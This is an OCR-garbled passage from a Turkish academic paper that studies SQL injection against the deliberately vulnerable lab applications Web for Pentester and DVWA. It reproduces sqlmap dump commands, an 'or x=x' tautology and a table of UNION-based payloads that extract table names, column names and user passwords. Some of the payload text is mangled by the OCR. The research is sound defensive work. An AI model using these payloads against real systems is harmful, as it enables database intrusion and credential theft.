Sekil 5: Tablo Isimleri igin Yapilan Basarili Veriyiikii Denemesi

Veritabaninda bulunan tablo isimi bulunduktan sonraki
adim Sekil 6’daki akig semasinda gosterildigi gibi tabloda
bulunan siitun adlarin1 ¢ekmek olacaktir. Bu islem igin
sqlmap tizerinde;

sqlmap -u http://192.168.1.4/sqli/

examplel.php?name=root --tables --proxy

http://192.168.1.5:8080

komutu c¢alistirilmigtir.  Yapilan sorgu sonuglari
veritaban1 adininin “exercises” oldugu tespit edilmistir.
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Sqlmap ile yapilan basarili SQL enjeksiyon veriytikii
denemesi Burp Suite programinda analizi Sekil 7’de
gosterilmistir.

Basgla

Tablo ic1
bilgilerin
kesfi

Sqlmap tablo Siitun say1st
adi tespiti ve adi kesfi

Burp Suite Burp Suite Burp Suite
Incelemesi Incelemesi Incelemesi

Sekil 6: Sqlmap ile Zafiyetin Belirlenmesindeki Akis Semas1

[ Faer: Higing cs. mage and general biwary content |®
| Host |# a|w. uA | Params | }
hitp:if192.168.1.4 24 GET %27 L9%20SELECTH20NULL %2CCONCAT%280xT1 v
hipinS2.16814 225 GET L%20SELECT%20NULL%2CCONCATS 28071,
hipi92.188.14 228 GET 7 L %20SELECT%Z0NULL%2CCONCATR2B06T1..
hitp:if192.168.1.4 22T GET %27 L9%20SELECTH20NULL %2CCONCAT%280x71 v
Hmﬂ.ti GET  /sqiexampiel H20SELECTH20NULLY%2CCONCAT e +

-

==

Request Response m

@m Headers | Hex @m Hex
sy [ v Actors v B2 mov menser w0 ctons v

1 GET /sqli/examplel.php’name= 2 g
T00t4274 Z0UNTONY 20ALLY 20SELECTY Z0NULLY ZCCONCATS2E s>
0x716276767142 Z8CASTA28colunn_namet20AS1Z || 1 <luds
2C0xEdEbE4TLTEEB ZCIRNULLY 28C | [ e

ASTZBcolumn_t: OASS ZONCHARS 294 2COxZ04 284 2C0xT qovrqpasswdnkdqyevarchar (50) qpazq
170717714 294 ZCNULLS ZCNULLS ZCNULLA ZOFROMS ZOTNF 02N afcde
ATION_SCHEMA. COLUMNSS ZOVHERES Z0table named3DOx767 <edr
38572734 20ANDA 20t able_schenad 3D0xE18E5T263E8 7365 “fedr
73--420- HITP/L.1 Aiere

2 Cache-Control: no-cae he </tabler

3 User-Agent: sqlmap/l. 5 LDfstable <footer> b
(https: //sqlmap. org) L4 [k - ¥

®@ £3) lﬂ Seaen ""'“*"7 @@ l:“:j passwd 1 match
Sekil 7: Sqlmap ile Zafiyetin Belirlenmesindeki Akis Semas1

Stitun adlarim1  bulmaya yonelik olarak yapilan
veriylikli denemesinin kodu ¢oziildiiglinde olusan sorgu
ifadesi Tablo 1’e eklenmistir.



MUHENDISLIK ALANINDA ULUSLARARASI ARASTIRMALAR || ‘ 121

Siitun adlarinin ¢ekilmesinden sonra Sekil 7°de name
ve passwd bagliklarinin goriilmesi iizerine veritabani
icerisinde kullanict adi ve sifrelerinin de olabilecegi
diistintilerek tablo igerisindeki bilgiler sqlmap tizerinde
--dump komutuyla Sekil 8’de gosterildigi gibi elde
edilmistir.

e

L ——
*
Lt

| passwd

" dumped to

Sekil 8: Tablo Icerisinde Bulunan Bilgiler
Sqlmap tarafindan tablo i¢erisinde bulunan bu bilgileri
getirmek icin yapilan SQL enjeksiyon veriyiikii denemesi
Sekil 9°da Burp Suite programu ile tespit edilmistir.
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[mmqn Im'wmy Iw:mcm-nmy T[)p(nm]

‘ Filter: Hiding CSS, image and general binary content ®

Host |# aw. |uRL

hitp.#192.168.1.4 30 GET /sqlifexample1.php7name=root%27%20UNION%20ALL %20SELECT%20NULL %2CCONCAT%260x71 &

hitpir192.168.1.4 F<3] GET /sqivexampie1.php?name= mMKZF%ZDUNlﬂNmDALL“ﬂSELECT‘!&ZDNUL[%ZCCD"EAT%ZKUX?I)

hitp://192.168.1 4 232 GET /sqiexamplel uhD’num-mM%E?%ZDUN'@NMOALL%ZOSELECN?UHULL"GZCCDPICAT‘&E&U)I?!
rm(xﬂsmen.u 233 GET . Si 7
-

Request Response

Raw | Params | Headers | Hex Imln Headers | Hex
Prett n Actions v mw Render \n Actions v

GET /sqlifexamplel.php?name= 1 veq30mkdqyeDmkdgye mkdqyerootmkdqyeadninI I
£0oth 27V 20UNTONY 20ALLY Z0SELECTY 20NULLY 2CCONCA >

TA280x7162767871% 2CIFNULLY ZECASTS 28aged 20ASY 2

ONCHARN 284 2C0x20% 254 2C0xEdEbE47179£54 2CTFNULL

¥28CASTSZ8groupids 0ASZONCHARS 294 2C0xZ08 2882

COxEAELE4TLTOESY ZCIFNULLA ZBCASTA 28ids TOAS 20N

CHARM 2S84 2COxZ04 258 2COxEAEDE4TLTSE S 2CIFNULLA D

BCASTHZEBnane% ZOASY ZONCHARY 254 ZCOxZ0%29%92C0xed o

EbE471796 54 2CIFNULLA 28CASTA 20p as swd 20ASY 20NC

HARY 251 2C0x208 258 2C0x 71707174718 298 2CNULLY2CN vxqinkdqyeZukdqye dakdqyeuserlukdqyesecreciy
ULLY ZCHULLY 2OFROMN 20e xercises. users--420- v = -

®{_§j lE} EJ Searc 0 matches @@ EJ LE,‘ user! 1 match
Sekil 9: Tablo Icerisindeki Bilgiler i¢in Yapilan Basarili Veriyiikii
Denemesi
Burp Suite araci ile tespit edilen SQL enjeksiyon
veriyiikii denemelerinin kodu ¢oziilerek kullanilan sorgu
ifadesi Tablo 1’°¢ eklenmistir.

SQL enjeksiyon sorgularinin, veri yiiklerinin tespiti
web uygulamasi tarafindan log kayitlarina alimmakta
olup kayitlar i¢cindeki bilgiler analiz edilerek denemelere
erigilebilir. Bunun i¢in O6rnegin sqlmap araciin tablo
icindeki bilgileri almaya yonelik olarak yaptigi veri yiikii
denemelerini incelenmistir. Sekil 10°’da Web for Pentester
uygulamasindaki log kayitlarinda veri yiikii denemelerini
goriintiilemek i¢in “cd /var/log/apache2” komutu ile
uygulama loglarinin goriintiilenecegi dizine gidilerek,
“tail -f access.log” komutu calistirilmis ve “access.log”
dosyasindan yapilan veriyiikii (payload) denemeleri tespit
edilmistir.



Sekil 10: Burp Suite ile Yakalanan Cookie Bilgisi

SQL enjeksiyon giivenlik acig1 analizi i¢in kullanilan
diger bir uygulama, gercek zamanli proje olan Damn
Vulnerable Machine (DVWA) web uygulamasidir.
DVWA, arka ug¢ veritabant ve PHP olarak MySQL
kullanilarak olusturulmus bir web uygulamasidir. Bu
uygulama SQL enjeksiyon, XSS, Dosya ekleme giivenlik
acig, CSRF vb. gibi en onemli OWASP giivenlik
aciklarina sahiptir. lgili yontemlerin uygulanabilirligini
belirlemek i¢in glivenlik agiklarindan hem manuel olarak
hem de araclarla yararlanilir [6].

SQL enjeksiyon =zafiyetin kesfinde kullanilan
DVWA test web uygulamasinda, veri tabaninda bulunan
kullanict adi ve sifrelerini getirmeye yonelik kosullu
SQL sorgu denemesi gergeklestirilmigtir. Sekil 11°de
yapilan anything‘or’ x ‘=" x sorgu denemesi sonucunda
veritabaninda bulunan kullanict adlart web sayfasi
lizerinde goriintiilenmistir [7].
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‘ Vulnerability: SQL Injection

‘ User ID: | anything’ or %'="% Submit

ID: anything' or 'x'='x
First name: admin
Surname: admin

ID: anything' or 'x'='x
First name: Gordon
Surname: Brown

\

\

\

\

‘ ID: anything' or 'x'='x
| First name: Hack
‘ Surname: Me

\
\
\
\
\
|

ID: anything' or 'x'='x
First name: Pable
Surname: Picasso

ID: anything' or 'x'='x
First name: Bob
Surname: Smith

Sekil 11: DVWA Mantiksal SQL Enjeksiyon Sorgu Denemesi

Bu sonug ile uygulama iizerinde SQL enjeksiyon
zafiyetinin bulundugu kanisma varilmistir. Bu uygulama
tizerinde yapilacak c¢aligmada amag, cookie bilgisinden
faydalanarak veritabaninda ilgili kullanicilarin sifrelerini
sqlmap aracilifiyla goriintiilemektir. DVWA web zafiyet
uygulamasinda SQL enjeksiyon sekmesindeki input
alanina “1” degeri yazildiginda alinan cevap degerinden,
cookie bilgisi burp suite araci iizerinden Sekil 12’de
gosterildigi gibi elde edilmistir.
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[nashbnard ]Targem T Pr oy Tlntruder TRepealer Tsequencer i Decoder ] Comparer T

[ ntercept TH'I'FP history 1i‘l\lfeb‘."sr.\:kets history TOptions ]

£ Request to http://127.0.0.1:80
| Forward | | Drep Intercept is en Action |

|Raw Params ]Headers ]M]

1 GET /dvwa/ HTTF/1.1
2 Host: 127.0.0.1

! User-Agent: Mozilla/S.0 (¥11; Linux xB6_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhiml+xml, application/xml;q=0.9,%/*;q=0.8
Accept-Language: en-US, en;q=0.5

& Accept-Encoding: gzip, deflate

7 Raferer: http://127.0.0.1/dvwa/vulnerabilities/sqli/?Pid=1&Submit=Subnit

8 Connection: close

J Cookie: security=low; PHPSESSID=6htl500hgSlofnehlbOat76t)2
10 Upgrade-Insecure-Requests: 1

W

Sekil 12: Burp Suite ile Yakalanan Cookie Bilgisi

Intercept sekmesi iizerinde yakalanan istek Kali Linux
isletim iizerinde root klasorii altina “request” adinda
dosyaya kopyalanmistir. Bu dosya yardimiyla “ ./sqlmap.
py -r /root/request --dump “ komutu kullanilarak, Sekil
13°de gosterildigi gibi veritabani {izerinden kullanici adi
ve sifreleri, cookie bilgileri araciligiyla sifrelenmis MDS5
bilgileri ¢oziilerek elde edilmistir.

Sekil 13: Burp Suite ile Yakalanan Cookie Bilgisi
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Tablo 1: SQL Enjeksiyon Veri Yiikii Denemelerine Ait Yapilan

Sorgular
Sorgu Tablo Adlari igin Yapilan SQL Enjeksiyon Veriyiikii
Araci Sorgu Denemeleri
Elle ‘+union+tselectttable name,version(),3,4,5+from+infor-
yapilan mation_schema.tables+%23

¢ UNION ALL SELECT NULL,CONCAT(0x-
7162767871 JIFNULL(CAST(table schema

AS CHAR),0x20),0x6d6b64717965,IFNULL(-

Sqlma CAST(table name AS CHAR),0x20),0x-
qimap 7170717a71),NULL,NULL,NULL FROM

INFORMATION SCHEMA .TABLES WHERE table

schema IN (0x657865726369736573,0x696e666{726d-

6174696f6e5£736368656d61)--

Siitun Adlar1 i¢in Yapilan SQL Enjeksiyon Veriyiikii
Sorgu Denemeleri

Elle ‘uniontselect+column_name,2,3,4,5+from+informa-
yapilan tion_schema.columns+%23

¢ UNION ALL SELECT NULL,CONCAT(0x-
7162767871, IFNULL(CAST(column_name AS
NCHAR),0x20),0x6d6b64717965,IFNULL(-
Sqlma CAST(column_type AS NCHAR),0x20),0x-
qimap 7170717a71),NULL,NULL,NULL FROM IN-
FORMATION SCHEMA.COLUMNS WHERE
table_name=0x7573657273 AND table_sche-
ma=0x657865726369736573-- -

Tablo i¢indeki Bilgiler i¢in Yapilan SQL Enjeksiyon
Veriyiikii Sorgu Denemeleri

Elle ‘union+tselecttname,passwd,3,4,5+from+exercises.users
yapilan %23

UNION ALL SELECT NULL,CONCAT(0x-
7162767871, IFNULL(CAST(age AS NCHAR),0x-
20),0x6d6b64717965,IFNULL(CAST(groupid AS

NCHAR),0x20),0x6d6b64717965, IFNULL(CAST(id
Sqlmap AS NCHAR),0x20),0x6d6b64717965,IFNULL(-
CAST(name AS NCHAR),0x20),0x6d6b64717965,IF-

NULL(CAST(passwd AS NCHAR),0x20),0x-
7170717a71),NULL,NULL,NULL FROM exercises.

users-- -
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Web for pentester uygulamasma yapilan SQL
enjeksiyon zafiyetin belirlenmesine yonelik veriyikii
denemeleri Tablo 1°de gosterilmistir. Tablo 1°de sizma
testi yaklasimi ile yapilan ve sqlmap aracinin yapmis
oldugu SQL enjeksiyon denemeleri bulunmaktadir.

TARTISMA

Web uygulamalarinda bulunan SQL enjeksiyon zafiye-
tinin belirlenmesine yonelik ¢esitli yontemler bulunmak-
tadir. Yapilan ¢alismada zafiyetin belirlenmesine yonelik
gerceklestirilen veri yiikleri elle yapilacagi gibi otomatik
yiik denemeleri gergeklestiren yazilim araglariyla da ya-
pilabilecegi anlasilmistir. Zafiyetin belirlenmesinde ¢esit-
li web uygulama zafiyet tarayicilar1 ve SQL enjeksiyon
sorgu araglari denenmistir. Caligmada kullanilan web
uygulama tarayicilarmin yapmis olduklari veri yiikleri
incelendiginde zafiyeti belirlemeye yonelik olusturmus
olduklart sorgularda mantiksal baglaglar ve karakterler
kullandiklari tespit edilmistir. Sqlmap ile SQL enjeksiyon
zafiyetinin belirlenmesindeki basarili veri yiikii deneme-
lerinin saglanmasindaki mantiksal sorgularin verileri ¢ek-
meye yonelik dogrulama sonuglar1 benzerdir.

SQL enjeksiyon zafiyetin belirlenmesinde otomatik
olarak SQL enjeksiyon denemeleri araci analiz edilmis,
SQL enjeksiyon zafiyetinin belirlenmesinde zafiyeti
somiirmeye yonelik olarak SQL sorgulari ile web
uygulama veritabaninda bulunan bilgileri ¢ekebildigi
goriilmiistii. Bu aragla zafiyetin belirlenmesi ve
veritabanindaki bilgilerin ¢ekilmesine yonelik ilerleme
adimlarinda ortak oncelik tablo adina ulagsmak oldugu
goriilmistiir. Aragla tespit edilen tablo adi bilgisinden
sonra tablodaki siitun adlarinin kesfini yapmak tablo
icindeki bilgileri c¢ekebilmek i¢in gerekli oldugu
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goriilmistiir. Veritabaninda bulunan bilgileri ¢ekebilmek
i¢in Tablo 1’de goriildiigi gibi olusturulan SQL enjeksiyon
sorgularinin igerisinde “age, groupid, id, name, passwd”
stitun adlarinin kullanilarak yapildig: tespit edilmistir.

SQL  enjeksiyon aracinin  ¢alismadaki  web
uygulamalarina yaptiklar1 veri yiikii denemelerinde tablo
adin1 ¢ekmek icin table name nesnesinin sorgu iginde
kullanildig, tablo igerisindeki siitun adlarmi ¢ekebilmek
icin column name nesnesinin kullanildigr goriilmustiir.
Tablo igerisindeki bilgileri ¢cekebilmek i¢in tespit edilen
stitun adlar1 kullanilarak “concat” fonksiyonu ile tablodaki
degerlerin birlestirilmesi ve getirilmesine yonelik SQL
enjeksiyon sorgusunun olusturuldugu tespit edilmistir.

SQL enjeksiyon zafiyetinin veri yiikii iizerinden
belirlemeye yonelik olarak yapilan bu ¢aligmada
penetrasyon test araglar1 ve elle yapilan analizler
karsilastirildi. Araglar kullanilarak web for pentester
uygulamasi iizerinde bulunan SQL enjeksiyon zafiyetinin
belirlenmesi islemi yapilmistir.

Zafiyetin belirlenmesine yonelik olarak yapilan
SQL enjeksiyon veri yiikii denemeleri, Sqlmap aracinin
gerceklestirmis oldugu ve elle yapilan sorgular incelenerek
tespit edildi. Web uygulamasinda bulunan veri tabanina
ait bilgilere yonelik olarak yapilan tablo adi, siitun adi,
veri tabani icerisindeki saklanan verilere yonelik SQL
enjeksiyon veri yiikii denemeleri analiz edilerek cizelge
haline getirilmistir.

SONUC

Bu ¢alismada bazi web uygulamalari tizerinde SQL
enjeksiyon zafiyetinin olabilecegi ve bu giivenlik acig1
istismar edilerek veri tabaninda bulunan hassas verilerin
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sizdirilabilecegi ¢esitli SQL enjeksiyon denemeleriyle
test edilmistir. Zafiyetin belirlenmesi ve somiiriilmesine
yonelik bu ¢alismada veritabanindan getirilen veriler elle
yapilan SQL enjeksiyona yonelik sizma testi yaklagimi
veya otomatik olarak SQL enjeksiyon denemeleri
gerceklestiren  bir  aragla  gergeklestirilebilecegi
anlagilmistir.  Kullanilan sizma testi yaklasimi ile
otomatize olarak SQL enjeksiyon denemeleri yapabilen
sqlmap aracinin zafiyetin belirlenmesine yonelik olarak
kullanilan SQL enjeksiyon veriyiikii denemeleri tespit
edilmistir. Denemeler incelendiginde, web uygulamalari
tizerindeki zafiyetin belirlenmesine yonelik yapilan SQL
enjeksiyon sorgularindaki kullanilan ana arglimanlarin
tablo ozelliklerini ¢ekmeye galisirken birbirine benzer
sorgularin yapildigi tespit edilmistir.

SQL enjeksiyon aracit olan sqlmap ve elle yapilan
veri yiikii denemeleri incelendiginde tablo adi, siitun
adi, tablo ici bilgilerini almaya yonelik SQL enjeksiyon
isleminde olusan sorgu ifadelerinde kullanilan nesnelerin,
fonksiyonlarin ¢izelgelerde goriildiigii gibi aralarinda
benzerliklerin oldugu anlagilmistir.

Web uygulama sahipleri, kurum ve kuruluslar kendi
uygulamalarimi siber saldirganlardan Once giivenlik
aciklarinin olup olmadigin1 kontrol etmelidirler. Bu
calismadan faydalanilarak, cesitli penetrasyon teknikleri
ile zafiyetler belirlenebilir ve oOnlemler almabilir.
Ayrica uygulama gelistiricileri statik kaynak kod analiz
teknikleri ile tasarim agamasinda adim adim giivenli
yazilim gelistirebilirler. Bu sayede uygulama iizerinde
olusabilecek giivenlik zafiyetinin 6niine gegilebilir.
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